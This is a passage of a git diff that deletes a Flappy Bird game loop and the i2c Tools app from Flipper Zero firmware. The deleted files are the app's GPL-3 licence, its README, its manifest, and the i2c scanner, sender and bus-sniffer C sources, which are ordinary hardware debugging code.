} - - break; - case InputKeyDown: - break; - case InputKeyRight: - break; - case InputKeyLeft: - break; - case InputKeyOk: - if(game_state->state == GameStateGameOver) { - flappy_game_state_init(game_state); - } - - if(game_state->state == GameStateLife) { - flappy_game_flap(game_state); - } - - break; - case InputKeyBack: - processing = false; - break; - default: - break; - } - } - } else if(event.type == EventTypeTick) { - flappy_game_tick(game_state); - } - } - - view_port_update(view_port); - furi_mutex_release(game_state->mutex); - } - - furi_timer_free(timer); - view_port_enabled_set(view_port, false); - gui_remove_view_port(gui, view_port); - furi_record_close(RECORD_GUI); - view_port_free(view_port); - furi_mutex_free(game_state->mutex); - -free_and_exit: - flappy_game_state_free(game_state); - furi_message_queue_free(event_queue); - - return return_code; -} diff --git a/applications/external/flipper_i2ctools/LICENSE b/applications/external/flipper_i2ctools/LICENSE deleted file mode 100644 index f288702d2..000000000 --- a/applications/external/flipper_i2ctools/LICENSE +++ /dev/null @@ -1,674 +0,0 @@ - GNU GENERAL PUBLIC LICENSE - Version 3, 29 June 2007 - - Copyright (C) 2007 Free Software Foundation, Inc. - Everyone is permitted to copy and distribute verbatim copies - of this license document, but changing it is not allowed. - - Preamble - - The GNU General Public License is a free, copyleft license for -software and other kinds of works. - - The licenses for most software and other practical works are designed -to take away your freedom to share and change the works. By contrast, -the GNU General Public License is intended to guarantee your freedom to -share and change all versions of a program--to make sure it remains free -software for all its users. We, the Free Software Foundation, use the -GNU General Public License for most of our software; it applies also to -any other work released this way by its authors. You can apply it to -your programs, too. - - When we speak of free software, we are referring to freedom, not -price. Our General Public Licenses are designed to make sure that you -have the freedom to distribute copies of free software (and charge for -them if you wish), that you receive source code or can get it if you -want it, that you can change the software or use pieces of it in new -free programs, and that you know you can do these things. - - To protect your rights, we need to prevent others from denying you -these rights or asking you to surrender the rights. Therefore, you have -certain responsibilities if you distribute copies of the software, or if -you modify it: responsibilities to respect the freedom of others. - - For example, if you distribute copies of such a program, whether -gratis or for a fee, you must pass on to the recipients the same -freedoms that you received. You must make sure that they, too, receive -or can get the source code. And you must show them these terms so they -know their rights. - - Developers that use the GNU GPL protect your rights with two steps: -(1) assert copyright on the software, and (2) offer you this License -giving you legal permission to copy, distribute and/or modify it. - - For the developers' and authors' protection, the GPL clearly explains -that there is no warranty for this free software. For both users' and -authors' sake, the GPL requires that modified versions be marked as -changed, so that their problems will not be attributed erroneously to -authors of previous versions. - - Some devices are designed to deny users access to install or run -modified versions of the software inside them, although the manufacturer -can do so. This is fundamentally incompatible with the aim of -protecting users' freedom to change the software. The systematic -pattern of such abuse occurs in the area of products for individuals to -use, which is precisely where it is most unacceptable. Therefore, we -have designed this version of the GPL to prohibit the practice for those -products. If such problems arise substantially in other domains, we -stand ready to extend this provision to those domains in future versions -of the GPL, as needed to protect the freedom of users. - - Finally, every program is threatened constantly by software patents. -States should not allow patents to restrict development and use of -software on general-purpose computers, but in those that do, we wish to -avoid the special danger that patents applied to a free program could -make it effectively proprietary. To prevent this, the GPL assures that -patents cannot be used to render the program non-free. - - The precise terms and conditions for copying, distribution and -modification follow. - - TERMS AND CONDITIONS - - 0. Definitions. - - "This License" refers to version 3 of the GNU General Public License. - - "Copyright" also means copyright-like laws that apply to other kinds of -works, such as semiconductor masks. - - "The Program" refers to any copyrightable work licensed under this -License. Each licensee is addressed as "you". "Licensees" and -"recipients" may be individuals or organizations. - - To "modify" a work means to copy from or adapt all or part of the work -in a fashion requiring copyright permission, other than the making of an -exact copy. The resulting work is called a "modified version" of the -earlier work or a work "based on" the earlier work. - - A "covered work" means either the unmodified Program or a work based -on the Program. - - To "propagate" a work means to do anything with it that, without -permission, would make you directly or secondarily liable for -infringement under applicable copyright law, except executing it on a -computer or modifying a private copy. Propagation includes copying, -distribution (with or without modification), making available to the -public, and in some countries other activities as well. - - To "convey" a work means any kind of propagation that enables other -parties to make or receive copies. Mere interaction with a user through -a computer network, with no transfer of a copy, is not conveying. - - An interactive user interface displays "Appropriate Legal Notices" -to the extent that it includes a convenient and prominently visible -feature that (1) displays an appropriate copyright notice, and (2) -tells the user that there is no warranty for the work (except to the -extent that warranties are provided), that licensees may convey the -work under this License, and how to view a copy of this License. If -the interface presents a list of user commands or options, such as a -menu, a prominent item in the list meets this criterion. - - 1. Source Code. - - The "source code" for a work means the preferred form of the work -for making modifications to it. "Object code" means any non-source -form of a work. - - A "Standard Interface" means an interface that either is an official -standard defined by a recognized standards body, or, in the case of -interfaces specified for a particular programming language, one that -is widely used among developers working in that language. - - The "System Libraries" of an executable work include anything, other -than the work as a whole, that (a) is included in the normal form of -packaging a Major Component, but which is not part of that Major -Component, and (b) serves only to enable use of the work with that -Major Component, or to implement a Standard Interface for which an -implementation is available to the public in source code form. A -"Major Component", in this context, means a major essential component -(kernel, window system, and so on) of the specific operating system -(if any) on which the executable work runs, or a compiler used to -produce the work, or an object code interpreter used to run it. - - The "Corresponding Source" for a work in object code form means all -the source code needed to generate, install, and (for an executable -work) run the object code and to modify the work, including scripts to -control those activities. However, it does not include the work's -System Libraries, or general-purpose tools or generally available free -programs which are used unmodified in performing those activities but -which are not part of the work. For example, Corresponding Source -includes interface definition files associated with source files for -the work, and the source code for shared libraries and dynamically -linked subprograms that the work is specifically designed to require, -such as by intimate data communication or control flow between those -subprograms and other parts of the work. - - The Corresponding Source need not include anything that users -can regenerate automatically from other parts of the Corresponding -Source. - - The Corresponding Source for a work in source code form is that -same work. - - 2. Basic Permissions. - - All rights granted under this License are granted for the term of -copyright on the Program, and are irrevocable provided the stated -conditions are met. This License explicitly affirms your unlimited -permission to run the unmodified Program. The output from running a -covered work is covered by this License only if the output, given its -content, constitutes a covered work. This License acknowledges your -rights of fair use or other equivalent, as provided by copyright law. - - You may make, run and propagate covered works that you do not -convey, without conditions so long as your license otherwise remains -in force. You may convey covered works to others for the sole purpose -of having them make modifications exclusively for you, or provide you -with facilities for running those works, provided that you comply with -the terms of this License in conveying all material for which you do -not control copyright. Those thus making or running the covered works -for you must do so exclusively on your behalf, under your direction -and control, on terms that prohibit them from making any copies of -your copyrighted material outside their relationship with you. - - Conveying under any other circumstances is permitted solely under -the conditions stated below. Sublicensing is not allowed; section 10 -makes it unnecessary. - - 3. Protecting Users' Legal Rights From Anti-Circumvention Law. - - No covered work shall be deemed part of an effective technological -measure under any applicable law fulfilling obligations under article -11 of the WIPO copyright treaty adopted on 20 December 1996, or -similar laws prohibiting or restricting circumvention of such -measures. - - When you convey a covered work, you waive any legal power to forbid -circumvention of technological measures to the extent such circumvention -is effected by exercising rights under this License with respect to -the covered work, and you disclaim any intention to limit operation or -modification of the work as a means of enforcing, against the work's -users, your or third parties' legal rights to forbid circumvention of -technological measures. - - 4. Conveying Verbatim Copies. - - You may convey verbatim copies of the Program's source code as you -receive it, in any medium, provided that you conspicuously and -appropriately publish on each copy an appropriate copyright notice; -keep intact all notices stating that this License and any -non-permissive terms added in accord with section 7 apply to the code; -keep intact all notices of the absence of any warranty; and give all -recipients a copy of this License along with the Program. - - You may charge any price or no price for each copy that you convey, -and you may offer support or warranty protection for a fee. - - 5. Conveying Modified Source Versions. - - You may convey a work based on the Program, or the modifications to -produce it from the Program, in the form of source code under the -terms of section 4, provided that you also meet all of these conditions: - - a) The work must carry prominent notices stating that you modified - it, and giving a relevant date. - - b) The work must carry prominent notices stating that it is - released under this License and any conditions added under section - 7. This requirement modifies the requirement in section 4 to - "keep intact all notices". - - c) You must license the entire work, as a whole, under this - License to anyone who comes into possession of a copy. This - License will therefore apply, along with any applicable section 7 - additional terms, to the whole of the work, and all its parts, - regardless of how they are packaged. This License gives no - permission to license the work in any other way, but it does not - invalidate such permission if you have separately received it. - - d) If the work has interactive user interfaces, each must display - Appropriate Legal Notices; however, if the Program has interactive - interfaces that do not display Appropriate Legal Notices, your - work need not make them do so. - - A compilation of a covered work with other separate and independent -works, which are not by their nature extensions of the covered work, -and which are not combined with it such as to form a larger program, -in or on a volume of a storage or distribution medium, is called an -"aggregate" if the compilation and its resulting copyright are not -used to limit the access or legal rights of the compilation's users -beyond what the individual works permit. Inclusion of a covered work -in an aggregate does not cause this License to apply to the other -parts of the aggregate. - - 6. Conveying Non-Source Forms. - - You may convey a covered work in object code form under the terms -of sections 4 and 5, provided that you also convey the -machine-readable Corresponding Source under the terms of this License, -in one of these ways: - - a) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by the - Corresponding Source fixed on a durable physical medium - customarily used for software interchange. - - b) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by a - written offer, valid for at least three years and valid for as - long as you offer spare parts or customer support for that product - model, to give anyone who possesses the object code either (1) a - copy of the Corresponding Source for all the software in the - product that is covered by this License, on a durable physical - medium customarily used for software interchange, for a price no - more than your reasonable cost of physically performing this - conveying of source, or (2) access to copy the - Corresponding Source from a network server at no charge. - - c) Convey individual copies of the object code with a copy of the - written offer to provide the Corresponding Source. This - alternative is allowed only occasionally and noncommercially, and - only if you received the object code with such an offer, in accord - with subsection 6b. - - d) Convey the object code by offering access from a designated - place (gratis or for a charge), and offer equivalent access to the - Corresponding Source in the same way through the same place at no - further charge. You need not require recipients to copy the - Corresponding Source along with the object code. If the place to - copy the object code is a network server, the Corresponding Source - may be on a different server (operated by you or a third party) - that supports equivalent copying facilities, provided you maintain - clear directions next to the object code saying where to find the - Corresponding Source. Regardless of what server hosts the - Corresponding Source, you remain obligated to ensure that it is - available for as long as needed to satisfy these requirements. - - e) Convey the object code using peer-to-peer transmission, provided - you inform other peers where the object code and Corresponding - Source of the work are being offered to the general public at no - charge under subsection 6d. - - A separable portion of the object code, whose source code is excluded -from the Corresponding Source as a System Library, need not be -included in conveying the object code work. - - A "User Product" is either (1) a "consumer product", which means any -tangible personal property which is normally used for personal, family, -or household purposes, or (2) anything designed or sold for incorporation -into a dwelling. In determining whether a product is a consumer product, -doubtful cases shall be resolved in favor of coverage. For a particular -product received by a particular user, "normally used" refers to a -typical or common use of that class of product, regardless of the status -of the particular user or of the way in which the particular user -actually uses, or expects or is expected to use, the product. A product -is a consumer product regardless of whether the product has substantial -commercial, industrial or non-consumer uses, unless such uses represent -the only significant mode of use of the product. - - "Installation Information" for a User Product means any methods, -procedures, authorization keys, or other information required to install -and execute modified versions of a covered work in that User Product from -a modified version of its Corresponding Source. The information must -suffice to ensure that the continued functioning of the modified object -code is in no case prevented or interfered with solely because -modification has been made. - - If you convey an object code work under this section in, or with, or -specifically for use in, a User Product, and the conveying occurs as -part of a transaction in which the right of possession and use of the -User Product is transferred to the recipient in perpetuity or for a -fixed term (regardless of how the transaction is characterized), the -Corresponding Source conveyed under this section must be accompanied -by the Installation Information. But this requirement does not apply -if neither you nor any third party retains the ability to install -modified object code on the User Product (for example, the work has -been installed in ROM). - - The requirement to provide Installation Information does not include a -requirement to continue to provide support service, warranty, or updates -for a work that has been modified or installed by the recipient, or for -the User Product in which it has been modified or installed. Access to a -network may be denied when the modification itself materially and -adversely affects the operation of the network or violates the rules and -protocols for communication across the network. - - Corresponding Source conveyed, and Installation Information provided, -in accord with this section must be in a format that is publicly -documented (and with an implementation available to the public in -source code form), and must require no special password or key for -unpacking, reading or copying. - - 7. Additional Terms. - - "Additional permissions" are terms that supplement the terms of this -License by making exceptions from one or more of its conditions. -Additional permissions that are applicable to the entire Program shall -be treated as though they were included in this License, to the extent -that they are valid under applicable law. If additional permissions -apply only to part of the Program, that part may be used separately -under those permissions, but the entire Program remains governed by -this License without regard to the additional permissions. - - When you convey a copy of a covered work, you may at your option -remove any additional permissions from that copy, or from any part of -it. (Additional permissions may be written to require their own -removal in certain cases when you modify the work.) You may place -additional permissions on material, added by you to a covered work, -for which you have or can give appropriate copyright permission. - - Notwithstanding any other provision of this License, for material you -add to a covered work, you may (if authorized by the copyright holders of -that material) supplement the terms of this License with terms: - - a) Disclaiming warranty or limiting liability differently from the - terms of sections 15 and 16 of this License; or - - b) Requiring preservation of specified reasonable legal notices or - author attributions in that material or in the Appropriate Legal - Notices displayed by works containing it; or - - c) Prohibiting misrepresentation of the origin of that material, or - requiring that modified versions of such material be marked in - reasonable ways as different from the original version; or - - d) Limiting the use for publicity purposes of names of licensors or - authors of the material; or - - e) Declining to grant rights under trademark law for use of some - trade names, trademarks, or service marks; or - - f) Requiring indemnification of licensors and authors of that - material by anyone who conveys the material (or modified versions of - it) with contractual assumptions of liability to the recipient, for - any liability that these contractual assumptions directly impose on - those licensors and authors. - - All other non-permissive additional terms are considered "further -restrictions" within the meaning of section 10. If the Program as you -received it, or any part of it, contains a notice stating that it is -governed by this License along with a term that is a further -restriction, you may remove that term. If a license document contains -a further restriction but permits relicensing or conveying under this -License, you may add to a covered work material governed by the terms -of that license document, provided that the further restriction does -not survive such relicensing or conveying. - - If you add terms to a covered work in accord with this section, you -must place, in the relevant source files, a statement of the -additional terms that apply to those files, or a notice indicating -where to find the applicable terms. - - Additional terms, permissive or non-permissive, may be stated in the -form of a separately written license, or stated as exceptions; -the above requirements apply either way. - - 8. Termination. - - You may not propagate or modify a covered work except as expressly -provided under this License. Any attempt otherwise to propagate or -modify it is void, and will automatically terminate your rights under -this License (including any patent licenses granted under the third -paragraph of section 11). - - However, if you cease all violation of this License, then your -license from a particular copyright holder is reinstated (a) -provisionally, unless and until the copyright holder explicitly and -finally terminates your license, and (b) permanently, if the copyright -holder fails to notify you of the violation by some reasonable means -prior to 60 days after the cessation. - - Moreover, your license from a particular copyright holder is -reinstated permanently if the copyright holder notifies you of the -violation by some reasonable means, this is the first time you have -received notice of violation of this License (for any work) from that -copyright holder, and you cure the violation prior to 30 days after -your receipt of the notice. - - Termination of your rights under this section does not terminate the -licenses of parties who have received copies or rights from you under -this License. If your rights have been terminated and not permanently -reinstated, you do not qualify to receive new licenses for the same -material under section 10. - - 9. Acceptance Not Required for Having Copies. - - You are not required to accept this License in order to receive or -run a copy of the Program. Ancillary propagation of a covered work -occurring solely as a consequence of using peer-to-peer transmission -to receive a copy likewise does not require acceptance. However, -nothing other than this License grants you permission to propagate or -modify any covered work. These actions infringe copyright if you do -not accept this License. Therefore, by modifying or propagating a -covered work, you indicate your acceptance of this License to do so. - - 10. Automatic Licensing of Downstream Recipients. - - Each time you convey a covered work, the recipient automatically -receives a license from the original licensors, to run, modify and -propagate that work, subject to this License. You are not responsible -for enforcing compliance by third parties with this License. - - An "entity transaction" is a transaction transferring control of an -organization, or substantially all assets of one, or subdividing an -organization, or merging organizations. If propagation of a covered -work results from an entity transaction, each party to that -transaction who receives a copy of the work also receives whatever -licenses to the work the party's predecessor in interest had or could -give under the previous paragraph, plus a right to possession of the -Corresponding Source of the work from the predecessor in interest, if -the predecessor has it or can get it with reasonable efforts. - - You may not impose any further restrictions on the exercise of the -rights granted or affirmed under this License. For example, you may -not impose a license fee, royalty, or other charge for exercise of -rights granted under this License, and you may not initiate litigation -(including a cross-claim or counterclaim in a lawsuit) alleging that -any patent claim is infringed by making, using, selling, offering for -sale, or importing the Program or any portion of it. - - 11. Patents. - - A "contributor" is a copyright holder who authorizes use under this -License of the Program or a work on which the Program is based. The -work thus licensed is called the contributor's "contributor version". - - A contributor's "essential patent claims" are all patent claims -owned or controlled by the contributor, whether already acquired or -hereafter acquired, that would be infringed by some manner, permitted -by this License, of making, using, or selling its contributor version, -but do not include claims that would be infringed only as a -consequence of further modification of the contributor version. For -purposes of this definition, "control" includes the right to grant -patent sublicenses in a manner consistent with the requirements of -this License. - - Each contributor grants you a non-exclusive, worldwide, royalty-free -patent license under the contributor's essential patent claims, to -make, use, sell, offer for sale, import and otherwise run, modify and -propagate the contents of its contributor version. - - In the following three paragraphs, a "patent license" is any express -agreement or commitment, however denominated, not to enforce a patent -(such as an express permission to practice a patent or covenant not to -sue for patent infringement). To "grant" such a patent license to a -party means to make such an agreement or commitment not to enforce a -patent against the party. - - If you convey a covered work, knowingly relying on a patent license, -and the Corresponding Source of the work is not available for anyone -to copy, free of charge and under the terms of this License, through a -publicly available network server or other readily accessible means, -then you must either (1) cause the Corresponding Source to be so -available, or (2) arrange to deprive yourself of the benefit of the -patent license for this particular work, or (3) arrange, in a manner -consistent with the requirements of this License, to extend the patent -license to downstream recipients. "Knowingly relying" means you have -actual knowledge that, but for the patent license, your conveying the -covered work in a country, or your recipient's use of the covered work -in a country, would infringe one or more identifiable patents in that -country that you have reason to believe are valid. - - If, pursuant to or in connection with a single transaction or -arrangement, you convey, or propagate by procuring conveyance of, a -covered work, and grant a patent license to some of the parties -receiving the covered work authorizing them to use, propagate, modify -or convey a specific copy of the covered work, then the patent license -you grant is automatically extended to all recipients of the covered -work and works based on it. - - A patent license is "discriminatory" if it does not include within -the scope of its coverage, prohibits the exercise of, or is -conditioned on the non-exercise of one or more of the rights that are -specifically granted under this License. You may not convey a covered -work if you are a party to an arrangement with a third party that is -in the business of distributing software, under which you make payment -to the third party based on the extent of your activity of conveying -the work, and under which the third party grants, to any of the -parties who would receive the covered work from you, a discriminatory -patent license (a) in connection with copies of the covered work -conveyed by you (or copies made from those copies), or (b) primarily -for and in connection with specific products or compilations that -contain the covered work, unless you entered into that arrangement, -or that patent license was granted, prior to 28 March 2007. - - Nothing in this License shall be construed as excluding or limiting -any implied license or other defenses to infringement that may -otherwise be available to you under applicable patent law. - - 12. No Surrender of Others' Freedom. - - If conditions are imposed on you (whether by court order, agreement or -otherwise) that contradict the conditions of this License, they do not -excuse you from the conditions of this License. If you cannot convey a -covered work so as to satisfy simultaneously your obligations under this -License and any other pertinent obligations, then as a consequence you may -not convey it at all. For example, if you agree to terms that obligate you -to collect a royalty for further conveying from those to whom you convey -the Program, the only way you could satisfy both those terms and this -License would be to refrain entirely from conveying the Program. - - 13. Use with the GNU Affero General Public License. - - Notwithstanding any other provision of this License, you have -permission to link or combine any covered work with a work licensed -under version 3 of the GNU Affero General Public License into a single -combined work, and to convey the resulting work. The terms of this -License will continue to apply to the part which is the covered work, -but the special requirements of the GNU Affero General Public License, -section 13, concerning interaction through a network will apply to the -combination as such. - - 14. Revised Versions of this License. - - The Free Software Foundation may publish revised and/or new versions of -the GNU General Public License from time to time. Such new versions will -be similar in spirit to the present version, but may differ in detail to -address new problems or concerns. - - Each version is given a distinguishing version number. If the -Program specifies that a certain numbered version of the GNU General -Public License "or any later version" applies to it, you have the -option of following the terms and conditions either of that numbered -version or of any later version published by the Free Software -Foundation. If the Program does not specify a version number of the -GNU General Public License, you may choose any version ever published -by the Free Software Foundation. - - If the Program specifies that a proxy can decide which future -versions of the GNU General Public License can be used, that proxy's -public statement of acceptance of a version permanently authorizes you -to choose that version for the Program. - - Later license versions may give you additional or different -permissions. However, no additional obligations are imposed on any -author or copyright holder as a result of your choosing to follow a -later version. - - 15. Disclaimer of Warranty. - - THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY -APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT -HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY -OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, -THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR -PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM -IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF -ALL NECESSARY SERVICING, REPAIR OR CORRECTION. - - 16. Limitation of Liability. - - IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING -WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS -THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY -GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE -USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF -DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD -PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), -EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF -SUCH DAMAGES. - - 17. Interpretation of Sections 15 and 16. - - If the disclaimer of warranty and limitation of liability provided -above cannot be given local legal effect according to their terms, -reviewing courts shall apply local law that most closely approximates -an absolute waiver of all civil liability in connection with the -Program, unless a warranty or assumption of liability accompanies a -copy of the Program in return for a fee. - - END OF TERMS AND CONDITIONS - - How to Apply These Terms to Your New Programs - - If you develop a new program, and you want it to be of the greatest -possible use to the public, the best way to achieve this is to make it -free software which everyone can redistribute and change under these terms. - - To do so, attach the following notices to the program. It is safest -to attach them to the start of each source file to most effectively -state the exclusion of warranty; and each file should have at least -the "copyright" line and a pointer to where the full notice is found. - - - Copyright (C) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . - -Also add information on how to contact you by electronic and paper mail. - - If the program does terminal interaction, make it output a short -notice like this when it starts in an interactive mode: - - Copyright (C) - This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. - This is free software, and you are welcome to redistribute it - under certain conditions; type `show c' for details. - -The hypothetical commands `show w' and `show c' should show the appropriate -parts of the General Public License. Of course, your program's commands -might be different; for a GUI interface, you would use an "about box". - - You should also get your employer (if you work as a programmer) or school, -if any, to sign a "copyright disclaimer" for the program, if necessary. -For more information on this, and how to apply and follow the GNU GPL, see -. - - The GNU General Public License does not permit incorporating your program -into proprietary programs. If your program is a subroutine library, you -may consider it more useful to permit linking proprietary applications with -the library. If this is what you want to do, use the GNU Lesser General -Public License instead of this License. But first, please read -. diff --git a/applications/external/flipper_i2ctools/README.md b/applications/external/flipper_i2ctools/README.md deleted file mode 100644 index 5ee1f881e..000000000 --- a/applications/external/flipper_i2ctools/README.md +++ /dev/null @@ -1,44 +0,0 @@ -# flipperzero-i2ctools - -[Original link](https://github.com/NaejEL/flipperzero-i2ctools) -Set of i2c tools for Flipper Zero - -![Preview](i2ctools.gif) - -## Wiring - -C0 -> SCL - -C1 -> SDA - -GND -> GND - ->/!\ Target must use 3v3 logic levels. If you not sure use an i2c isolator like ISO1541 - -## Tools - -### Scanner - -Look for i2c peripherals adresses - -### Sniffer - -Spy i2c traffic - -### Sender - -Send command to i2c peripherals and read result - -## TODO - -- [ ] Read more than 2 bytes in sender mode -- [ ] Add 10-bits adresses support -- [ ] Test with rate > 100khz -- [ ] Save records -- [ ] Play from files -- [ ] Kicad module -- [ ] Improve UI -- [ ] Refactor Event Management Code -- [ ] Add Documentation -- [ ] Remove max data size -- [ ] Remove max frames read size \ No newline at end of file diff --git a/applications/external/flipper_i2ctools/application.fam b/applications/external/flipper_i2ctools/application.fam deleted file mode 100644 index c576c71b0..000000000 --- a/applications/external/flipper_i2ctools/application.fam +++ /dev/null @@ -1,15 +0,0 @@ -App( - appid="i2ctools", - name="[GPIO] i2c Tools", - apptype=FlipperAppType.EXTERNAL, - entry_point="i2ctools_app", - requires=["gui"], - stack_size=2 * 1024, - order=175, - fap_icon="i2ctools.png", - fap_category="GPIO", - fap_icon_assets="images", - fap_author="@NaejEL", - fap_version="1.1", - fap_description="Set of i2c tools", -) \ No newline at end of file diff --git a/applications/external/flipper_i2ctools/i2cscanner.c b/applications/external/flipper_i2ctools/i2cscanner.c deleted file mode 100644 index dab618b78..000000000 --- a/applications/external/flipper_i2ctools/i2cscanner.c +++ /dev/null @@ -1,35 +0,0 @@ -#include "i2cscanner.h" - -void scan_i2c_bus(i2cScanner* i2c_scanner) { - i2c_scanner->nb_found = 0; - i2c_scanner->scanned = true; - // Get the bus - furi_hal_i2c_acquire(I2C_BUS); - // scan - for(uint8_t addr = 0x01; addr <= MAX_I2C_ADDR << 1; addr++) { - // Check for peripherals - if(furi_hal_i2c_is_device_ready(I2C_BUS, addr, I2C_TIMEOUT)) { - // skip even 8-bit addr - if(addr % 2 != 0) { - continue; - } - // convert addr to 7-bits - i2c_scanner->addresses[i2c_scanner->nb_found] = addr >> 1; - i2c_scanner->nb_found++; - } - } - furi_hal_i2c_release(I2C_BUS); -} - -i2cScanner* i2c_scanner_alloc() { - i2cScanner* i2c_scanner = malloc(sizeof(i2cScanner)); - i2c_scanner->nb_found = 0; - i2c_scanner->menu_index = 0; - i2c_scanner->scanned = false; - return i2c_scanner; -} - -void i2c_scanner_free(i2cScanner* i2c_scanner) { - furi_assert(i2c_scanner); - free(i2c_scanner); -} \ No newline at end of file diff --git a/applications/external/flipper_i2ctools/i2cscanner.h b/applications/external/flipper_i2ctools/i2cscanner.h deleted file mode 100644 index 5320ebb9e..000000000 --- a/applications/external/flipper_i2ctools/i2cscanner.h +++ /dev/null @@ -1,23 +0,0 @@ -#pragma once - -#include -#include - -// I2C BUS -#define I2C_BUS &furi_hal_i2c_handle_external -#define I2C_TIMEOUT 3 - -// 7 bits addresses -#define MAX_I2C_ADDR 0x7F - -typedef struct { - uint8_t addresses[MAX_I2C_ADDR + 1]; - uint8_t nb_found; - uint8_t menu_index; - bool scanned; -} i2cScanner; - -void scan_i2c_bus(i2cScanner* i2c_scanner); - -i2cScanner* i2c_scanner_alloc(); -void i2c_scanner_free(i2cScanner* i2c_scanner); diff --git a/applications/external/flipper_i2ctools/i2csender.c b/applications/external/flipper_i2ctools/i2csender.c deleted file mode 100644 index bdc98cd9e..000000000 --- a/applications/external/flipper_i2ctools/i2csender.c +++ /dev/null @@ -1,29 +0,0 @@ -#include "i2csender.h" - -void i2c_send(i2cSender* i2c_sender) { - furi_hal_i2c_acquire(I2C_BUS); - uint8_t adress = i2c_sender->scanner->addresses[i2c_sender->address_idx] << 1; - i2c_sender->error = furi_hal_i2c_trx( - I2C_BUS, - adress, - &i2c_sender->value, - sizeof(i2c_sender->value), - i2c_sender->recv, - sizeof(i2c_sender->recv), - I2C_TIMEOUT); - furi_hal_i2c_release(I2C_BUS); - i2c_sender->must_send = false; - i2c_sender->sended = true; -} - -i2cSender* i2c_sender_alloc() { - i2cSender* i2c_sender = malloc(sizeof(i2cSender)); - i2c_sender->must_send = false; - i2c_sender->sended = false; - return i2c_sender; -} - -void i2c_sender_free(i2cSender* i2c_sender) { - furi_assert(i2c_sender); - free(i2c_sender); -} \ No newline at end of file diff --git a/applications/external/flipper_i2ctools/i2csender.h b/applications/external/flipper_i2ctools/i2csender.h deleted file mode 100644 index 2aa74d6e2..000000000 --- a/applications/external/flipper_i2ctools/i2csender.h +++ /dev/null @@ -1,21 +0,0 @@ -#pragma once - -#include -#include -#include "i2cscanner.h" - -typedef struct { - uint8_t address_idx; - uint8_t value; - uint8_t recv[2]; - bool must_send; - bool sended; - bool error; - - i2cScanner* scanner; -} i2cSender; - -void i2c_send(); - -i2cSender* i2c_sender_alloc(); -void i2c_sender_free(i2cSender* i2c_sender); diff --git a/applications/external/flipper_i2ctools/i2csniffer.c b/applications/external/flipper_i2ctools/i2csniffer.c deleted file mode 100644 index 6a633cfaf..000000000 --- a/applications/external/flipper_i2ctools/i2csniffer.c +++ /dev/null @@ -1,101 +0,0 @@ -#include "i2csniffer.h" - -void clear_sniffer_buffers(i2cSniffer* i2c_sniffer) { - furi_assert(i2c_sniffer); - for(uint8_t i = 0; i < MAX_RECORDS; i++) { - for(uint8_t j = 0; j < MAX_MESSAGE_SIZE; j++) { - i2c_sniffer->frames[i].ack[j] = false; - i2c_sniffer->frames[i].data[j] = 0; - } - i2c_sniffer->frames[i].bit_index = 0; - i2c_sniffer->frames[i].data_index = 0; - } - i2c_sniffer->frame_index = 0; - i2c_sniffer->state = I2C_BUS_FREE; - i2c_sniffer->first = true; -} - -void start_interrupts(i2cSniffer* i2c_sniffer) { - furi_assert(i2c_sniffer); - furi_hal_gpio_init(pinSCL, GpioModeInterruptRise, GpioPullNo, GpioSpeedHigh); - furi_hal_gpio_add_int_callback(pinSCL, SCLcallback, i2c_sniffer); - - // Add Rise and Fall Interrupt on SDA pin - furi_hal_gpio_init(pinSDA, GpioModeInterruptRiseFall, GpioPullNo, GpioSpeedHigh); - furi_hal_gpio_add_int_callback(pinSDA, SDAcallback, i2c_sniffer); -} - -void stop_interrupts() { - furi_hal_gpio_remove_int_callback(pinSCL); - furi_hal_gpio_remove_int_callback(pinSDA); - // Reset GPIO pins to default state - furi_hal_gpio_init(pinSCL, GpioModeAnalog, GpioPullNo, GpioSpeedLow); - furi_hal_gpio_init(pinSDA, GpioModeAnalog, GpioPullNo, GpioSpeedLow); -} - -// Called on Fallin/Rising SDA -// Used to monitor i2c bus state -void SDAcallback(void* _i2c_sniffer) { - i2cSniffer* i2c_sniffer = _i2c_sniffer; - // SCL is low maybe cclock strecching - if(furi_hal_gpio_read(pinSCL) == false) { - return; - } - // Check for stop condition: SDA rising while SCL is High - if(i2c_sniffer->state == I2C_BUS_STARTED) { - if(furi_hal_gpio_read(pinSDA) == true) { - i2c_sniffer->state = I2C_BUS_FREE; - } - } - // Check for start condition: SDA falling while SCL is high - else if(furi_hal_gpio_read(pinSDA) == false) { - i2c_sniffer->state = I2C_BUS_STARTED; - if(i2c_sniffer->first) { - i2c_sniffer->first = false; - return; - } - i2c_sniffer->frame_index++; - if(i2c_sniffer->frame_index >= MAX_RECORDS) { - clear_sniffer_buffers(i2c_sniffer); - } - } - return; -} - -// Called on Rising SCL -// Used to read bus datas -void SCLcallback(void* _i2c_sniffer) { - 